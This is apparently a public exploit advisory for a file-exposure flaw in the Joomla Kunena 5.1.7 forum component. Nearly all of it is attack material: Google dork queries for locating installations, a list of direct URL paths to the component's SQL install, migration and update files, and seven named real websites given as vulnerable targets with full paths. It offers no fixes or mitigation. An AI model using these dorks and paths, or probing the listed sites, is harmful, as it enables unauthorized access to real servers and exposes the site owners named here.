Joomla Kunena 5.1.7 Database Disclosure

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# Exploit Title : Joomla Kunena Components 5.1.7 Database Backup Disclosure
# Author & #################################################################################################

# Exploit Title : Joomla Kunena Components 5.1.7 Database Backup Disclosure
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 02/12/2018
# Vendor Homepage : extensions.joomla.org/extension/kunena/
# Software Download Link : kunena.org/download
# Tested On : Windows and Linux
# Category : WebApps
# Version : 5.1.7
# Exploit Risk : Medium
# Google Dorks :
inurl:''/administrator/components/com_kunena/install/sql/''
inurl:''/index.php?option=com_kunena''
inurl:''/index.php?option=com_kunena&view=topic&catid=''
# CxSecurity Exploit Link : cxsecurity.com/ascii/WLB-2018110196
# ExploitAlert Exploit Link : exploitalert.com/view-details.html?id=31527
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]

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# Admin Panel Login Path :

/administrator/

# Exploit :

/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql

/administrator/components/com_kunena/install/sql/migrate/mysql/fireboard.sql

/administrator/components/com_kunena/install/sql/migrate/mysql/joomlaboard.sql

/administrator/components/com_kunena/install/sql/migrate/mysql/create_tables.utf8.sql

/administrator/components/com_kunena/install/sql/install/mysql/create_tables.utf8.sql

/administrator/components/com_kunena/install/sql/install/mysql/default_ranks.sql

/administrator/components/com_kunena/install/sql/install/mysql/default_smileys.sql

/administrator/components/com_kunena/install/sql/install/mysql/reserved_aliases.sql

/administrator/components/com_kunena/install/sql/updates/mysql/1.0.0-2007-04-15.sql

/administrator/components/com_kunena/install/sql/updates/mysql/2.0.0-2011-10-19.sql

/administrator/components/com_kunena/install/sql/updates/mysql/3.0.3-2013-10-01.sql

/administrator/components/com_kunena/install/sql/updates/mysql/4.0.0-2015-03-26.sql

/administrator/components/com_kunena/install/sql/updates/mysql/5.0.0-2015-12-02.sql

/administrator/components/com_kunena/install/sql/updates/mysql/5.1.6-2018-11-07.sql

/administrator/components/com_kunena/install/sql/updates/mysql/[VERSION-NUMBER]-[YEAR]-[MONTH]-[DAY].sql

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# Example Vulnerable Sites =>

[+]
xerte.org.uk/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql

[+]
bargainbusinessbuyers.co.uk/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql

[+]
bedrijfstaalcursussen.com/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql

[+]
abdillikoyu.com/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql

[+]
vir.nw.ru/test/vir.nw/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql

[+]
werkenmetdbcs.nza.nl/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql

[+]
djconstrucao.com.br/apagar/administrator/components/com_kunena/install/sql/migrate/mysql/kunena.sql

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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